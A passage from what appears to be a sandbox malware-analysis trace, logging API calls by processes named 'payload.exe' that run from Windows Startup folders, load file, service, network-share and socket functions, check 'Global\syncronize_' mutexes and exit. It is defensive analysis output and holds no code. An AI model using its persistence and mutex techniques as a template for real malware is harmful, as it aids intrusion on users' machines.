GetProcAddress (hModule=0x75a40000, lpProcName="CompareStringW") returned 0x75a53bca [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="CompareStringA") returned 0x75a53c5a [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="OpenProcess") returned 0x75a51986 [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="TerminateProcess") returned 0x75a6d802 [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="GetSystemTime") returned 0x75a55a96 [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="SystemTimeToFileTime") returned 0x75a55a7e [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="GetLastError") returned 0x75a511c0 [0081.785] GetProcAddress (hModule=0x75a40000, lpProcName="CreateToolhelp32Snapshot") returned 0x75a7735f [0081.785] GetProcAddress (hModule=0x75a40000, lpProcName="Process32NextW") returned 0x75a7896c [0081.785] GetProcAddress (hModule=0x75a40000, lpProcName="Process32FirstW") returned 0x75a78baf [0081.785] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x765e0000 [0082.970] GetProcAddress (hModule=0x765e0000, lpProcName="RegOpenKeyExW") returned 0x765f468d [0082.970] GetProcAddress (hModule=0x765e0000, lpProcName="RegQueryValueExW") returned 0x765f46ad [0082.971] GetProcAddress (hModule=0x765e0000, lpProcName="RegSetValueExW") returned 0x765f14d6 [0082.971] GetProcAddress (hModule=0x765e0000, lpProcName="RegCloseKey") returned 0x765f469d [0082.971] GetProcAddress (hModule=0x765e0000, lpProcName="OpenProcessToken") returned 0x765f4304 [0082.971] GetProcAddress (hModule=0x765e0000, lpProcName="GetTokenInformation") returned 0x765f431c [0082.971] GetProcAddress (hModule=0x765e0000, lpProcName="OpenSCManagerW") returned 0x765eca64 [0082.971] GetProcAddress (hModule=0x765e0000, lpProcName="OpenServiceW") returned 0x765eca4c [0082.971] GetProcAddress (hModule=0x765e0000, lpProcName="CloseServiceHandle") returned 0x765f369c [0082.971] GetProcAddress (hModule=0x765e0000, lpProcName="ControlService") returned 0x76607144 [0082.971] GetProcAddress (hModule=0x765e0000, lpProcName="QueryServiceStatus") returned 0x765f2a86 [0082.971] GetProcAddress (hModule=0x765e0000, lpProcName="EnumDependentServicesW") returned 0x765e1e3a [0082.971] GetProcAddress (hModule=0x765e0000, lpProcName="EnumServicesStatusExW") returned 0x765eb466 [0082.971] LoadLibraryA (lpLibFileName="user32.dll") returned 0x758d0000 [0082.994] GetProcAddress (hModule=0x758d0000, lpProcName="SystemParametersInfoW") returned 0x758e90d3 [0082.994] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76700000 [0083.005] GetProcAddress (hModule=0x76700000, lpProcName="ShellExecuteExW") returned 0x76721e46 [0083.005] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77d10000 [0083.005] GetProcAddress (hModule=0x77d10000, lpProcName="NtQuerySystemInformation") returned 0x77d2fda0 [0083.005] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x740a0000 [0084.273] GetProcAddress (hModule=0x740a0000, lpProcName="WNetCloseEnum") returned 0x740a2dd6 [0084.273] GetProcAddress (hModule=0x740a0000, lpProcName="WNetOpenEnumW") returned 0x740a2f06 [0084.273] GetProcAddress (hModule=0x740a0000, lpProcName="WNetEnumResourceW") returned 0x740a3058 [0084.273] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75ee0000 [0084.275] GetProcAddress (hModule=0x75ee0000, lpProcName="WSAStartup") returned 0x75ee3ab2 [0084.275] GetProcAddress (hModule=0x75ee0000, lpProcName="socket") returned 0x75ee3eb8 [0084.275] GetProcAddress (hModule=0x75ee0000, lpProcName="send") returned 0x75ee6f01 [0084.275] GetProcAddress (hModule=0x75ee0000, lpProcName="recv") returned 0x75ee6b0e [0084.275] GetProcAddress (hModule=0x75ee0000, lpProcName="connect") returned 0x75ee6bdd [0084.275] GetProcAddress (hModule=0x75ee0000, lpProcName="closesocket") returned 0x75ee3918 [0084.275] GetProcAddress (hModule=0x75ee0000, lpProcName="gethostbyname") returned 0x75ef7673 [0084.275] GetProcAddress (hModule=0x75ee0000, lpProcName="inet_addr") returned 0x75ee311b [0084.275] GetProcAddress (hModule=0x75ee0000, lpProcName="ntohl") returned 0x75ee2d57 [0084.275] GetProcAddress (hModule=0x75ee0000, lpProcName="htonl") returned 0x75ee2d57 [0084.275] GetProcAddress (hModule=0x75ee0000, lpProcName="htons") returned 0x75ee2d8b [0084.275] GetProcessHeap () returned 0x5f0000 [0084.275] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x20) returned 0x604080 [0084.275] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=5785118121) returned 1 [0084.275] GetTickCount () returned 0x112e16a [0084.275] GetCurrentProcessId () returned 0x550 [0084.276] GetTickCount () returned 0x112e16a [0084.276] GetTickCount () returned 0x112e16a [0084.276] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x20) returned 0x6040a8 [0084.276] GetVersion () returned 0x1db10106 [0084.276] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x7) returned 0x5f3668 [0084.276] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x600b88 [0084.276] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x600b88, Size=0x20) returned 0x6040f8 [0084.276] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6040f8, Size=0x40) returned 0x604668 [0084.276] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x6048b8 [0084.276] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_TOHS87A") returned 0x84 [0084.276] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x5f3668 | out: hHeap=0x5f0000) returned 1 [0084.276] lstrlenW (lpString="Global\\syncronize_") returned 18 [0084.276] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x604668 | out: hHeap=0x5f0000) returned 1 [0084.276] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x7) returned 0x5f3668 [0084.276] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x600b88 [0084.276] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x600b88, Size=0x20) returned 0x6040f8 [0084.276] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6040f8, Size=0x40) returned 0x604668 [0084.276] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x6148c0 [0084.276] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_TOHS87U") returned 0x88 [0084.276] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x5f3668 | out: hHeap=0x5f0000) returned 1 [0084.276] lstrlenW (lpString="Global\\syncronize_") returned 18 [0084.276] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x604668 | out: hHeap=0x5f0000) returned 1 [0084.277] GetVersion () returned 0x1db10106 [0084.277] GetCurrentProcess () returned 0xffffffff [0084.277] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0084.277] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0084.277] CloseHandle (hObject=0x8c) returned 1 [0084.277] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102 [0084.277] ExitProcess (uExitCode=0x0) Process: id = "8" image_name = "payload.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe" page_root = "0x7918d000" os_pid = "0x560" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x460" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ecf6" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 47 os_tid = 0x564 [0083.902] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75a40000 [0083.903] GetProcAddress (hModule=0x75a40000, lpProcName="GetProcAddress") returned 0x75a51222 [0083.903] GetProcAddress (hModule=0x75a40000, lpProcName="GetModuleHandleW") returned 0x75a534b0 [0083.903] GetProcAddress (hModule=0x75a40000, lpProcName="FindNextFileW") returned 0x75a554ee [0083.903] GetProcAddress (hModule=0x75a40000, lpProcName="FindClose") returned 0x75a54442 [0083.903] GetProcAddress (hModule=0x75a40000, lpProcName="MoveFileW") returned 0x75a69af0 [0083.903] GetProcAddress (hModule=0x75a40000, lpProcName="GetFileSizeEx") returned 0x75a559e2 [0083.903] GetProcAddress (hModule=0x75a40000, lpProcName="GetModuleFileNameW") returned 0x75a54950 [0083.903] GetProcAddress (hModule=0x75a40000, lpProcName="GetFileAttributesW") returned 0x75a51b18 [0083.903] GetProcAddress (hModule=0x75a40000, lpProcName="ExitProcess") returned 0x75a57a10 [0083.903] GetProcAddress (hModule=0x75a40000, lpProcName="GetCommandLineW") returned 0x75a55223 [0083.903] GetProcAddress (hModule=0x75a40000, lpProcName="GetComputerNameW") returned 0x75a5dd0e [0083.903] GetProcAddress (hModule=0x75a40000, lpProcName="GetComputerNameA") returned 0x75a6b6e0 [0083.903] GetProcAddress (hModule=0x75a40000, lpProcName="CreateMutexW") returned 0x75a5424c [0083.903] GetProcAddress (hModule=0x75a40000, lpProcName="lstrlenW") returned 0x75a51700 [0083.903] GetProcAddress (hModule=0x75a40000, lpProcName="lstrlenA") returned 0x75a55a4b [0083.903] GetProcAddress (hModule=0x75a40000, lpProcName="GetCurrentProcess") returned 0x75a51809 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="WaitForSingleObject") returned 0x75a51136 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="GetLogicalDrives") returned 0x75a55371 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="GetTickCount") returned 0x75a5110c [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="DeleteFileW") returned 0x75a589b3 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="WideCharToMultiByte") returned 0x75a5170d [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75a51916 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="Sleep") returned 0x75a510ff [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="LeaveCriticalSection") returned 0x77d32270 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="ReadFile") returned 0x75a53ed3 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="CreateFileW") returned 0x75a53f5c [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="OpenMutexW") returned 0x75a55151 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="EnterCriticalSection") returned 0x77d322b0 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="WaitForMultipleObjects") returned 0x75a54220 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="lstrcmpiW") returned 0x75a6d5cd [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="lstrcmpiA") returned 0x75a53e8e [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="DeleteCriticalSection") returned 0x77d445f5 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="ReleaseMutex") returned 0x75a5111e [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="CloseHandle") returned 0x75a51410 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="GetVersion") returned 0x75a54467 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="CreateThread") returned 0x75a534d5 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="ExpandEnvironmentStringsW") returned 0x75a54173 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="QueryPerformanceCounter") returned 0x75a51725 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="QueryPerformanceFrequency") returned 0x75a541f0 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="GetCurrentProcessId") returned 0x75a511f8 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="SetFileAttributesW") returned 0x75a6d4f7 [0083.904] GetProcAddress (hModule=0x75a40000, lpProcName="GetVolumeInformationW") returned 0x75a6c860 [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="WriteFile") returned 0x75a51282 [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="SetFilePointerEx") returned 0x75a6c807 [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="SetEndOfFile") returned 0x75a6ce2e [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="FindFirstFileW") returned 0x75a54435 [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="GetProcessHeap") returned 0x75a514e9 [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="HeapReAlloc") returned 0x77d51f6e [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="HeapAlloc") returned 0x77d3e026 [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="HeapFree") returned 0x75a514c9 [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="CreatePipe") returned 0x75ad415b [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="SetHandleInformation") returned 0x75a6195c [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="CreateProcessW") returned 0x75a5103d [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="CompareStringW") returned 0x75a53bca [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="CompareStringA") returned 0x75a53c5a [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="OpenProcess") returned 0x75a51986 [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="TerminateProcess") returned 0x75a6d802 [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="GetSystemTime") returned 0x75a55a96 [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="SystemTimeToFileTime") returned 0x75a55a7e [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="GetLastError") returned 0x75a511c0 [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="CreateToolhelp32Snapshot") returned 0x75a7735f [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="Process32NextW") returned 0x75a7896c [0083.905] GetProcAddress (hModule=0x75a40000, lpProcName="Process32FirstW") returned 0x75a78baf [0083.905] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x765e0000 [0083.928] GetProcAddress (hModule=0x765e0000, lpProcName="RegOpenKeyExW") returned 0x765f468d [0083.929] GetProcAddress (hModule=0x765e0000, lpProcName="RegQueryValueExW") returned 0x765f46ad [0083.929] GetProcAddress (hModule=0x765e0000, lpProcName="RegSetValueExW") returned 0x765f14d6 [0083.929] GetProcAddress (hModule=0x765e0000, lpProcName="RegCloseKey") returned 0x765f469d [0083.929] GetProcAddress (hModule=0x765e0000, lpProcName="OpenProcessToken") returned 0x765f4304 [0083.929] GetProcAddress (hModule=0x765e0000, lpProcName="GetTokenInformation") returned 0x765f431c [0083.929] GetProcAddress (hModule=0x765e0000, lpProcName="OpenSCManagerW") returned 0x765eca64 [0083.929] GetProcAddress (hModule=0x765e0000, lpProcName="OpenServiceW") returned 0x765eca4c [0083.929] GetProcAddress (hModule=0x765e0000, lpProcName="CloseServiceHandle") returned 0x765f369c [0084.024] GetProcAddress (hModule=0x765e0000, lpProcName="ControlService") returned 0x76607144 [0084.024] GetProcAddress (hModule=0x765e0000, lpProcName="QueryServiceStatus") returned 0x765f2a86 [0084.024] GetProcAddress (hModule=0x765e0000, lpProcName="EnumDependentServicesW") returned 0x765e1e3a [0084.024] GetProcAddress (hModule=0x765e0000, lpProcName="EnumServicesStatusExW") returned 0x765eb466 [0084.024] LoadLibraryA (lpLibFileName="user32.dll") returned 0x758d0000 [0084.035] GetProcAddress (hModule=0x758d0000, lpProcName="SystemParametersInfoW") returned 0x758e90d3 [0084.035] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76700000 [0084.038] GetProcAddress (hModule=0x76700000, lpProcName="ShellExecuteExW") returned 0x76721e46 [0084.039] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77d10000 [0084.039] GetProcAddress (hModule=0x77d10000, lpProcName="NtQuerySystemInformation") returned 0x77d2fda0 [0084.039] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x740a0000 [0084.318] GetProcAddress (hModule=0x740a0000, lpProcName="WNetCloseEnum") returned 0x740a2dd6 [0084.318] GetProcAddress (hModule=0x740a0000, lpProcName="WNetOpenEnumW") returned 0x740a2f06 [0084.318] GetProcAddress (hModule=0x740a0000, lpProcName="WNetEnumResourceW") returned 0x740a3058 [0084.318] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75ee0000 [0084.321] GetProcAddress (hModule=0x75ee0000, lpProcName="WSAStartup") returned 0x75ee3ab2 [0084.321] GetProcAddress (hModule=0x75ee0000, lpProcName="socket") returned 0x75ee3eb8 [0084.321] GetProcAddress (hModule=0x75ee0000, lpProcName="send") returned 0x75ee6f01 [0084.321] GetProcAddress (hModule=0x75ee0000, lpProcName="recv") returned 0x75ee6b0e [0084.321] GetProcAddress (hModule=0x75ee0000, lpProcName="connect") returned 0x75ee6bdd [0084.321] GetProcAddress (hModule=0x75ee0000, lpProcName="closesocket") returned 0x75ee3918 [0084.321] GetProcAddress (hModule=0x75ee0000, lpProcName="gethostbyname") returned 0x75ef7673 [0084.321] GetProcAddress (hModule=0x75ee0000, lpProcName="inet_addr") returned 0x75ee311b [0084.321] GetProcAddress (hModule=0x75ee0000, lpProcName="ntohl") returned 0x75ee2d57 [0084.321] GetProcAddress (hModule=0x75ee0000, lpProcName="htonl") returned 0x75ee2d57 [0084.321] GetProcAddress (hModule=0x75ee0000, lpProcName="htons") returned 0x75ee2d8b [0084.321] GetProcessHeap () returned 0x280000 [0084.322] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x20) returned 0x294240 [0084.322] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=5789746215) returned 1 [0084.322] GetTickCount () returned 0x112e199 [0084.322] GetCurrentProcessId () returned 0x560 [0084.322] GetTickCount () returned 0x112e199 [0084.322] GetTickCount () returned 0x112e199 [0084.322] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x20) returned 0x294268 [0084.322] GetVersion () returned 0x1db10106 [0084.322] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x7) returned 0x283828 [0084.322] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x10) returned 0x290d48 [0084.322] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x290d48, Size=0x20) returned 0x2942b8 [0084.322] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x2942b8, Size=0x40) returned 0x294828 [0084.322] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xfffe) returned 0x294aa0 [0084.322] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_TOHS87A") returned 0x84 [0084.322] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x283828 | out: hHeap=0x280000) returned 1 [0084.322] lstrlenW (lpString="Global\\syncronize_") returned 18 [0084.322] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x294828 | out: hHeap=0x280000) returned 1 [0084.322] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x7) returned 0x283828 [0084.322] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x10) returned 0x290d48 [0084.322] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x290d48, Size=0x20) returned 0x2942b8 [0084.322] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x2942b8, Size=0x40) returned 0x294828 [0084.322] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xfffe) returned 0x2a4aa8 [0084.323] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_TOHS87U") returned 0x88 [0084.323] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x283828 | out: hHeap=0x280000) returned 1 [0084.323] lstrlenW (lpString="Global\\syncronize_") returned 18 [0084.323] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x294828 | out: hHeap=0x280000) returned 1 [0084.323] GetVersion () returned 0x1db10106 [0084.323] GetCurrentProcess () returned 0xffffffff [0084.323] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0084.323] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0084.323] CloseHandle (hObject=0x8c) returned 1 [0084.323] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102 [0084.323] ExitProcess (uExitCode=0x0) Process: id = "9" image_name = "payload.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe" page_root = "0x783b5000" os_pid = "0x568" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x460" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ecf6" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 48 os_tid = 0x56c [0083.930] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75a40000 [0083.930] GetProcAddress (hModule=0x75a40000, lpProcName="GetProcAddress") returned 0x75a51222 [0083.930] GetProcAddress (hModule=0x75a40000, lpProcName="GetModuleHandleW") returned 0x75a534b0 [0083.930] GetProcAddress (hModule=0x75a40000, lpProcName="FindNextFileW") returned 0x75a554ee [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="FindClose") returned 0x75a54442 [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="MoveFileW") returned 0x75a69af0 [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="GetFileSizeEx") returned 0x75a559e2 [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="GetModuleFileNameW") returned 0x75a54950 [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="GetFileAttributesW") returned 0x75a51b18 [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="ExitProcess") returned 0x75a57a10 [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="GetCommandLineW") returned 0x75a55223 [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="GetComputerNameW") returned 0x75a5dd0e [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="GetComputerNameA") returned 0x75a6b6e0 [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="CreateMutexW") returned 0x75a5424c [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="lstrlenW") returned 0x75a51700 [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="lstrlenA") returned 0x75a55a4b [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="GetCurrentProcess") returned 0x75a51809 [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="WaitForSingleObject") returned 0x75a51136 [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="GetLogicalDrives") returned 0x75a55371 [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="GetTickCount") returned 0x75a5110c [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="DeleteFileW") returned 0x75a589b3 [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="WideCharToMultiByte") returned 0x75a5170d [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75a51916 [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="Sleep") returned 0x75a510ff [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="LeaveCriticalSection") returned 0x77d32270 [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="ReadFile") returned 0x75a53ed3 [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="CreateFileW") returned 0x75a53f5c [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="OpenMutexW") returned 0x75a55151 [0083.931] GetProcAddress (hModule=0x75a40000, lpProcName="EnterCriticalSection") returned 0x77d322b0 [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="WaitForMultipleObjects") returned 0x75a54220 [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="lstrcmpiW") returned 0x75a6d5cd [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="lstrcmpiA") returned 0x75a53e8e [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="DeleteCriticalSection") returned 0x77d445f5 [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="ReleaseMutex") returned 0x75a5111e [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="CloseHandle") returned 0x75a51410 [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="GetVersion") returned 0x75a54467 [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="CreateThread") returned 0x75a534d5 [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="ExpandEnvironmentStringsW") returned 0x75a54173 [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="QueryPerformanceCounter") returned 0x75a51725 [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="QueryPerformanceFrequency") returned 0x75a541f0 [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="GetCurrentProcessId") returned 0x75a511f8 [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="SetFileAttributesW") returned 0x75a6d4f7 [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="GetVolumeInformationW") returned 0x75a6c860 [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="WriteFile") returned 0x75a51282 [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="SetFilePointerEx") returned 0x75a6c807 [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="SetEndOfFile") returned 0x75a6ce2e [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="FindFirstFileW") returned 0x75a54435 [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="GetProcessHeap") returned 0x75a514e9 [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="HeapReAlloc") returned 0x77d51f6e [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="HeapAlloc") returned 0x77d3e026 [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="HeapFree") returned 0x75a514c9 [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="CreatePipe") returned 0x75ad415b [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="SetHandleInformation") returned 0x75a6195c [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="CreateProcessW") returned 0x75a5103d [0083.932] GetProcAddress (hModule=0x75a40000, lpProcName="CompareStringW") returned 0x75a53bca [0083.933] GetProcAddress (hModule=0x75a40000, lpProcName="CompareStringA") returned 0x75a53c5a [0083.933] GetProcAddress (hModule=0x75a40000, lpProcName="OpenProcess") returned 0x75a51986 [0083.933] GetProcAddress (hModule=0x75a40000, lpProcName="TerminateProcess") returned 0x75a6d802 [0083.933] GetProcAddress (hModule=0x75a40000, lpProcName="GetSystemTime") returned 0x75a55a96 [0083.933] GetProcAddress (hModule=0x75a40000, lpProcName="SystemTimeToFileTime") returned 0x75a55a7e [0083.933] GetProcAddress (hModule=0x75a40000, lpProcName="GetLastError") returned 0x75a511c0 [0083.933] GetProcAddress (hModule=0x75a40000, lpProcName="CreateToolhelp32Snapshot") returned 0x75a7735f [0083.933] GetProcAddress (hModule=0x75a40000, lpProcName="Process32NextW") returned 0x75a7896c [0083.933] GetProcAddress (hModule=0x75a40000, lpProcName="Process32FirstW") returned 0x75a78baf [0083.933] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x765e0000 [0083.954] GetProcAddress (hModule=0x765e0000, 